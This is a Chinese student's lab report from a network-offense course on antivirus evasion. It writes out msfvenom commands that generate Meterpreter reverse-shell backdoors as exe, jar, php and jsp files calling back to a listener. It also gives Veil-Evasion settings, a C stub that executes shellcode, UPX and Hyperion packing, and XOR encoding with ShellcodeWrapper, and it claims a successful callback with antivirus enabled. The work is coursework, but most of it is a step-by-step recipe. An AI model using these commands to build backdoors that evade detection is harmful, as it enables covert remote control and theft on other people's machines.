2019-2020-2 网络对抗技术 20175214 Exp3 免杀原理与实践
一、预备知识
1.恶意代码检测机制
- (1)基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- (2)启发式恶意软件检测
- “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- (3)基于行为的恶意软件检测
- 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2.免杀原理(AV)
- (1)改变特征码
- 有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 有EXE
- (2)改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- (3)非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
二、实验内容
(1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程;
-
1、msf编码器生成exe
-
直接检测
-
将实验二中msf生成的后门程序
5214_bd.exe
上传到VirusTotal扫描,结果如下:
-
可见,71个杀软有57个都检测了出来。
-
Virscan检测结果如下:
-
可见,49个杀软有28个检测出来。
-
-
进行10次编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.177.132 LPORT=5214 -f exe > bd_1.exe
- 参数说明:
- -b:删除字符;
- -e:选择编码器;
- -i:次数;
- 参数说明:
- 上传检测,结果如下,和之前差距不大,可见编码没有太实质性的效果:
-
-
2、使用msf生成其他格式的文件
-
生成jar:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 x> 5214_bd.jar
- 上传检测,结果如下,效果比exe好一点,有35个杀软检测出来:
- 上传检测,结果如下,效果比exe好一点,有35个杀软检测出来:
-
生成php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f raw >5214_bd.php
- 上传检测,结果如下,只有3个检测出来:
- 上传检测,结果如下,只有3个检测出来:
-
生成jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.177.132 LPORT=5214 R >5214_bd.jsp
- 上传检测,结果如下,只有5个检测出来:
- 上传检测,结果如下,只有5个检测出来:
-
-
3、使用veil-evasion生成后门程序及检测
-
我认为这是最麻烦的一步,反复安装了好多次才成功,浪费了不少时间;
-
安装完成后,首先输入
veil
,进入veil界面,然后输入use evasion
进入veil-evasion:
-
接下来进行配置,输入
use c/meterpreter/rev_tcp.py
进入配置界面,主要要配置的是ip和端口,和msf一样,ip选的是kali的ip;set LHOST 192.168.177.132
set LPORT 5214
-
输入
generate
生成文件,并输入文件名,文件的路径如图所示:
-
还是将文件上传检测,比msf生成的exe要好一点,结果如下:
-
-
4、使用shellcode编程
-
在命令行中输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.177.132 LPORT=5214 -f c
,生成shellcode;
-
vim一个c文件,具体代码如下:
-
unsigned char buf[] = 之前获得的shellcode;
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
对文件进行编译:
i686-w64-mingw32-g++ bd_shellcode.c -o bd_shellcode.exe
并上传检测:
-
5、加壳工具
-
加壳是对相应的资源进行压缩,压缩后仍可运行。它可以用来保护版权,但同时许多病毒也利用它来作为原理。
-
1、压缩壳(UPX)
-
输入
upx bd_shellcode.exe -o bd_shellcode_upx.exe
进行加壳
-
上传检测:
-
-
2、加密壳(Hyperion)
由于之前安装veil时是直接clone的,所以在对应的路径找不到Hyperion,就重新装了一个Hyperion,详细过程参见博客;-
将之前产生的
bd_shellcode_upx.exe
拷进Hyperion文件夹,并运行如下指令:wine hyperion.exe -v bd_shellcode_upx.exe bd_shellcode_upx_Hyperion.exe
-
惯例,将加了双重壳的exe上传网站检测:
-
然后震惊地发现双重壳的被检测数相比单壳反而增加了......
-
-
-
6、使用其他课堂未介绍方法
-
需要使用一个工具ShellcodeWrapper
-
先用msfvenom生成一个raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' LHOST=192.168.177.132 LPORT=5214 -f raw > shellcode.raw
-
然后进入下载ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。
python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor
-
生成了三个文件,分别是C++源码,C#源码和py文件;
-
将c++源码放进codeblock编译生成exe文件
-
连接测试
-
上传网站检测
-
(2)通过组合应用各种技术实现恶意代码免杀
- 具体思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe
- 使用360检测截图如下:
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 使用的是win7的虚拟机;
- 运行结果和杀软版本如下:
三、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。
- 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
- 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
- 使恶意代码可以逃过杀软的查杀
(3)免杀的基本方法有哪些?
- 改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件、
- 改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
(4)开启杀软能绝对防止电脑中恶意代码吗?
- 不能,杀软在不断进步,恶意代码的技术也同样在不断更迭,我们能做的就是养成良好的上网习惯,并随时更新杀软病毒库,保证杀软的正常工作。
四、心得体会
再次突破熬夜极限QAQ,真就一次比一次晚呗(凌晨五点......),这次实验绝大多数时间花在装veil和自行实现免杀上,其实主要是我比较头铁,不想使用之前同学已经实现的方法,所以碰了不少壁,期间也数次想过要放弃,转用一个现成的方法,但我还是坚持了下来,最终能够成功实现出来也让我长舒口气。
这次实验让我学会了免杀的基本原理以及基本的操作,明白了杀软不是万能的,更明白了系统安全的重要性,通过查阅资料也锻炼了我的自学能力,收获很大。